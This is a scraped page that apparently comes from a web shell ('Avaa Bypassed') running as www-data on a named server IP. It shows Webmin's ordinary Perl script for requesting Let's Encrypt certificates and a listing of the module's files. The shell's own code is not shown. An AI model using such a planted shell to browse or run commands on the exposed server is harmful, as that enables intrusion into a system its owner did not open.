[ Avaa Bypassed ]




Upload:

Command:

www-data@160.79.109.87: ~ $
#!/usr/bin/perl
# Request a new SSL cert using Let's Encrypt

use strict;
use warnings;
no warnings 'redefine';
no warnings 'uninitialized';

require "./webmin-lib.pl";
our %text;
our %miniserv;
our %in;
our $config_directory;
our %config;
our $module_name;
&error_setup($text{'letsencrypt_err'});

# Re-check if let's encrypt is available
my $err = &check_letsencrypt();
&error($err) if ($err);

# Validate inputs
&ReadParse();
my @doms = split(/\s+/, $in{'dom'});
foreach my $dom (@doms) {
	$dom =~ /^(\*\.)?[a-z0-9\-\.\_]+$/i || &error($text{'letsencrypt_edom'});
	}
$in{'renew_def'} || $in{'renew'} =~ /^[1-9][0-9]*$/ ||
	&error($text{'letsencrypt_erenew'});
$in{'size_def'} || $in{'size'} =~ /^\d+$/ ||
	&error($text{'newkey_esize'});
my $size = $in{'size_def'} ? undef : $in{'size'};
my $webroot;
my $mode = "web";
if ($in{'webroot_mode'} == 3) {
	# Validation via DNS
	$mode = "dns";
	}
elsif ($in{'webroot_mode'} == 2) {
	# Some directory
	$in{'webroot'} =~ /^\/\S+/ && -d $in{'webroot'} ||
		&error($text{'letsencrypt_ewebroot'});
	$webroot = $in{'webroot'};
	}
else {
	# Apache domain
	&foreign_require("apache");
	my $conf = &apache::get_config();
	foreach my $virt (&apache::find_directive_struct(
				"VirtualHost", $conf)) {
		my $sn = &apache::find_directive(
			"ServerName", $virt->{'members'});
		my $match = 0;
		if ($in{'webroot_mode'} == 0 && $sn eq $doms[0]) {
			# Based on domain name
			$match = 1;
			}
		elsif ($in{'webroot_mode'} == 1 && $sn eq $in{'vhost'}) {
			# Specifically selected domain
			$match = 1;
			}
		if ($match) {
			# Get document root
			$webroot = &apache::find_directive(
				"DocumentRoot", $virt->{'members'}, 1);
			$webroot || &error(&text('letsencrypt_edroot', $sn));
			last;
			}
		}
	$webroot || &error(&text('letsencrypt_evhost', $doms[0]));
	}

if ($in{'save'}) {
	# Just update renewal
	&save_renewal_only(\@doms, $webroot, $mode);
	&redirect("edit_ssl.cgi");
	}
else {
	# Request the cert
	&ui_print_unbuffered_header(undef, $text{'letsencrypt_title'}, "");

	print &text($mode eq 'dns' ? 'letsencrypt_doingdns'
				   : 'letsencrypt_doing',
		    "<tt>".&html_escape(join(", ", @doms))."</tt>",
		    "<tt>".&html_escape($webroot)."</tt>"),"<p>\n";
	my ($ok, $cert, $key, $chain) = &request_letsencrypt_cert(\@doms, $webroot, undef, $size, $mode, $in{'staging'});
	if (!$ok) {
		print &text('letsencrypt_failed', $cert),"<p>\n";
		}
	else {
		# Worked, now copy to Webmin
		print $text{'letsencrypt_done'},"<p>\n";

		if ($in{'use'}) {
			# Copy cert, key and chain to Webmin
			print $text{'letsencrypt_webmin'},"<br>\n";
			&lock_file($ENV{'MINISERV_CONFIG'});
			&get_miniserv_config(\%miniserv);

			$miniserv{'keyfile'} = $config_directory.
					       "/letsencrypt-key.pem";
			&lock_file($miniserv{'keyfile'});
			&copy_source_dest($key, $miniserv{'keyfile'}, 1);
			&unlock_file($miniserv{'keyfile'});

			$miniserv{'certfile'} = $config_directory.
						"/letsencrypt-cert.pem";
			&lock_file($miniserv{'certfile'});
			&copy_source_dest($cert, $miniserv{'certfile'}, 1);
			&unlock_file($miniserv{'certfile'});

			if ($chain) {
				$miniserv{'extracas'} = $config_directory.
							"/letsencrypt-ca.pem";
				&lock_file($miniserv{'extracas'});
				&copy_source_dest($chain, $miniserv{'extracas'}, 1);
				&unlock_file($miniserv{'extracas'});
				}
			else {
				delete($miniserv{'extracas'});
				}
			&put_miniserv_config(\%miniserv);
			&unlock_file($ENV{'MINISERV_CONFIG'});

			&save_renewal_only(\@doms, $webroot, $mode);

			&webmin_log("letsencrypt");
			&restart_miniserv(1);
			print $text{'letsencrypt_wdone'},"<p>\n";
			}
		else {
			# Just tell the user
			print $text{'letsencrypt_show'},"<p>\n";
			my @grid = ( $text{'letsencrypt_cert'}, $cert,
				     $text{'letsencrypt_key'}, $key );
			if ($chain) {
				push(@grid, $text{'letsencrypt_chain'}, $chain);
				}
			print &ui_grid_table(\@grid, 2);
			}
		}

	&ui_print_footer("", $text{'index_return'});
	}

# save_renewal_only(&doms, webroot, mode)
# Save for future renewals
sub save_renewal_only
{
my ($doms, $webroot, $mode) = @_;
$config{'letsencrypt_doms'} = join(" ", @$doms);
$config{'letsencrypt_webroot'} = $webroot;
$config{'letsencrypt_mode'} = $mode;
$config{'letsencrypt_size'} = $size;
&save_module_config();
if (&foreign_check("webmincron")) {
	my $job = &find_letsencrypt_cron_job();
	if ($in{'renew_def'}) {
		&webmincron::delete_webmin_cron($job) if ($job);
		}
	else {
		my @tm = localtime(time() - 60);
		$job ||= { 'module' => $module_name,
			   'func' => 'renew_letsencrypt_cert' };
		$job->{'mins'} ||= $tm[1];
		$job->{'hours'} ||= $tm[2];
		$job->{'days'} ||= $tm[3];
		$job->{'months'} = '*/'.$in{'renew'};
		$job->{'weekdays'} = '*';
		&webmincron::create_webmin_cron($job);
		}
	}
}

Filemanager

Name Type Size Permission Actions
help Folder 0755
images Folder 0755
lang Folder 0755
subdir Folder 0755
CHANGELOG File 12.02 KB 0644
acme_tiny.py File 11.24 KB 0755
adminupgrade File 299 B 0644
backup_config.pl File 1.97 KB 0755
bootup.cgi File 1.04 KB 0755
cache.cgi File 1.47 KB 0755
cgi_args.pl File 159 B 0755
change_access.cgi File 1.34 KB 0755
change_advanced.cgi File 3 KB 0755
change_anon.cgi File 712 B 0755
change_bind.cgi File 4.8 KB 0755
change_ca.cgi File 674 B 0755
change_debug.cgi File 1.38 KB 0755
change_lang.cgi File 558 B 0755
change_lock.cgi File 554 B 0755
change_log.cgi File 2.38 KB 0755
change_mobile.cgi File 940 B 0755
change_os.cgi File 1.85 KB 0755
change_osdn.cgi File 1.54 KB 0755
change_overlay.cgi File 1.16 KB 0755
change_proxy.cgi File 1.09 KB 0755
change_referers.cgi File 633 B 0755
change_session.cgi File 4.77 KB 0755
change_ssl.cgi File 3.03 KB 0755
change_startpage.cgi File 773 B 0755
change_status.cgi File 1.02 KB 0755
change_theme.cgi File 1.16 KB 0755
change_twofactor.cgi File 1.43 KB 0755
change_ui.cgi File 1.61 KB 0755
change_web.cgi File 2.47 KB 0755
clear_blocked.cgi File 154 B 0755
clear_cache.cgi File 205 B 0755
clone_mod.cgi File 2.06 KB 0755
config File 114 B 0644
config.info File 696 B 0644
config.info.ar File 414 B 0644
config.info.ca File 408 B 0644
config.info.cs File 233 B 0644
config.info.de File 368 B 0644
config.info.es File 229 B 0644
config.info.fa File 301 B 0644
config.info.fr File 577 B 0644
config.info.hr File 0 B 0644
config.info.hu File 0 B 0644
config.info.it File 245 B 0644
config.info.ja File 531 B 0644
config.info.ko File 206 B 0644
config.info.ms File 286 B 0644
config.info.nl File 299 B 0644
config.info.no File 283 B 0644
config.info.pl File 284 B 0644
config.info.pt_BR File 299 B 0644
config.info.ru File 491 B 0644
config.info.sk File 132 B 0644
config.info.sv File 202 B 0644
config.info.tr File 155 B 0644
cpan_modules.pl File 229 B 0755
defaultacl File 17 B 0644
delete_cache.cgi File 471 B 0755
delete_mod.cgi File 2.24 KB 0755
delete_webmincron.cgi File 1.51 KB 0755
download_cert.cgi File 532 B 0755
edit_access.cgi File 1.38 KB 0755
edit_advanced.cgi File 3.87 KB 0755
edit_anon.cgi File 812 B 0755
edit_assignment.cgi File 1.12 KB 0755
edit_bind.cgi File 2.95 KB 0755
edit_blocked.cgi File 944 B 0755
edit_ca.cgi File 2.82 KB 0755
edit_categories.cgi File 1.69 KB 0755
edit_debug.cgi File 2.04 KB 0755
edit_descs.cgi File 1.49 KB 0755
edit_ipkey.cgi File 1.7 KB 0755
edit_lang.cgi File 1.82 KB 0755
edit_lock.cgi File 763 B 0755
edit_log.cgi File 3.04 KB 0755
edit_mobile.cgi File 1.26 KB 0755
edit_mods.cgi File 4.45 KB 0755
edit_os.cgi File 2.72 KB 0755
edit_proxy.cgi File 3.7 KB 0755
edit_referers.cgi File 899 B 0755
edit_sendmail.cgi File 3.48 KB 0755
edit_session.cgi File 5.18 KB 0755
edit_ssl.cgi File 10.55 KB 0755
edit_startpage.cgi File 1.68 KB 0755
edit_status.cgi File 1.13 KB 0755
edit_themes.cgi File 3.72 KB 0755
edit_twofactor.cgi File 1.5 KB 0755
edit_ui.cgi File 2.51 KB 0755
edit_upgrade.cgi File 4.26 KB 0755
edit_web.cgi File 2.88 KB 0755
edit_webmincron.cgi File 1.35 KB 0755
export_mod.cgi File 1.23 KB 0755
feedback_files.pl File 126 B 0755
fix_os.cgi File 228 B 0755
gnupg-lib.pl File 13.38 KB 0755
hide.cgi File 326 B 0755
index.cgi File 4.16 KB 0755
install_mod.cgi File 3.11 KB 0755
install_theme.cgi File 2.29 KB 0755
jcameron-key.asc File 1.29 KB 0644
letsencrypt-cleanup.pl File 2.02 KB 0755
letsencrypt-dns.pl File 2.57 KB 0755
letsencrypt-lib.pl File 14.03 KB 0755
letsencrypt.cgi File 4.64 KB 0755
log_parser.pl File 1.23 KB 0755
module.info File 195 B 0644
module.info.af File 0 B 0644
module.info.af.auto File 142 B 0644
module.info.ar File 185 B 0644
module.info.ar.auto File 22 B 0644
module.info.be File 0 B 0644
module.info.be.auto File 208 B 0644
module.info.bg File 0 B 0644
module.info.bg.auto File 218 B 0644
module.info.ca File 134 B 0644
module.info.ca.auto File 15 B 0644
module.info.cs File 28 B 0644
module.info.cs.auto File 128 B 0644
module.info.da File 0 B 0644
module.info.da.auto File 142 B 0644
module.info.de File 126 B 0644
module.info.de.auto File 15 B 0644
module.info.el File 0 B 0644
module.info.el.auto File 262 B 0644
module.info.es File 33 B 0644
module.info.es.auto File 109 B 0644
module.info.eu File 0 B 0644
module.info.eu.auto File 158 B 0644
module.info.fa File 0 B 0644
module.info.fa.auto File 202 B 0644
module.info.fi File 0 B 0644
module.info.fi.auto File 141 B 0644
module.info.fr File 32 B 0644
module.info.fr.auto File 129 B 0644
module.info.he File 0 B 0644
module.info.he.auto File 195 B 0644
module.info.hr File 0 B 0644
module.info.hr.auto File 149 B 0644
module.info.hu File 30 B 0644
module.info.hu.auto File 148 B 0644
module.info.it File 33 B 0644
module.info.it.auto File 107 B 0644
module.info.ja File 180 B 0644
module.info.ko File 22 B 0644
module.info.ko.auto File 129 B 0644
module.info.lt File 0 B 0644
module.info.lt.auto File 180 B 0644
module.info.lv File 0 B 0644
module.info.lv.auto File 157 B 0644
module.info.ms File 119 B 0644
module.info.ms.auto File 15 B 0644
module.info.mt File 0 B 0644
module.info.mt.auto File 144 B 0644
module.info.nl File 28 B 0644
module.info.nl.auto File 117 B 0644
module.info.no File 29 B 0644
module.info.no.auto File 117 B 0644
module.info.pl File 155 B 0644
module.info.pl.auto File 15 B 0644
module.info.pt File 33 B 0644
module.info.pt.auto File 113 B 0644
module.info.pt_BR File 36 B 0644
module.info.pt_BR.auto File 119 B 0644
module.info.ro File 0 B 0644
module.info.ro.auto File 147 B 0644
module.info.ru File 34 B 0644
module.info.ru.auto File 172 B 0644
module.info.sk File 30 B 0644
module.info.sk.auto File 132 B 0644
module.info.sl File 0 B 0644
module.info.sl.auto File 147 B 0644
module.info.sv File 30 B 0644
module.info.sv.auto File 114 B 0644
module.info.th File 0 B 0644
module.info.th.auto File 258 B 0644
module.info.tr File 33 B 0644
module.info.tr.auto File 128 B 0644
module.info.uk File 0 B 0644
module.info.uk.auto File 215 B 0644
module.info.ur File 0 B 0644
module.info.ur.auto File 209 B 0644
module.info.vi File 0 B 0644
module.info.vi.auto File 177 B 0644
module.info.zh File 22 B 0644
module.info.zh_TW File 25 B 0644
module.info.zh_TW.auto File 115 B 0644
newcsr.cgi File 800 B 0755
newkey.cgi File 879 B 0755
postinstall.pl File 2.01 KB 0755
refresh_modules.cgi File 664 B 0755
restart.cgi File 87 B 0755
save_assignment.cgi File 485 B 0755
save_categories.cgi File 946 B 0755
save_descs.cgi File 1006 B 0755
save_ipkey.cgi File 1.31 KB 0755
save_newmod.cgi File 278 B 0755
save_sendmail.cgi File 2.08 KB 0755
save_webmincron.cgi File 1016 B 0755
savekey.cgi File 2.8 KB 0755
setup_ca.cgi File 1.52 KB 0755
standard_chooser.cgi File 1.68 KB 0755
stop_ca.cgi File 1.03 KB 0755
syslog_logs.pl File 633 B 0755
system_info.pl File 5.02 KB 0644
test_sendmail.cgi File 784 B 0755
third_chooser.cgi File 1.55 KB 0755
twofactor-funcs-lib.pl File 8.81 KB 0644
uninstall.pl File 236 B 0755
update.cgi File 2.86 KB 0755
upgrade.cgi File 16.6 KB 0755
view_webmincron.cgi File 1.66 KB 0755
webmin-lib.pl File 68.77 KB 0755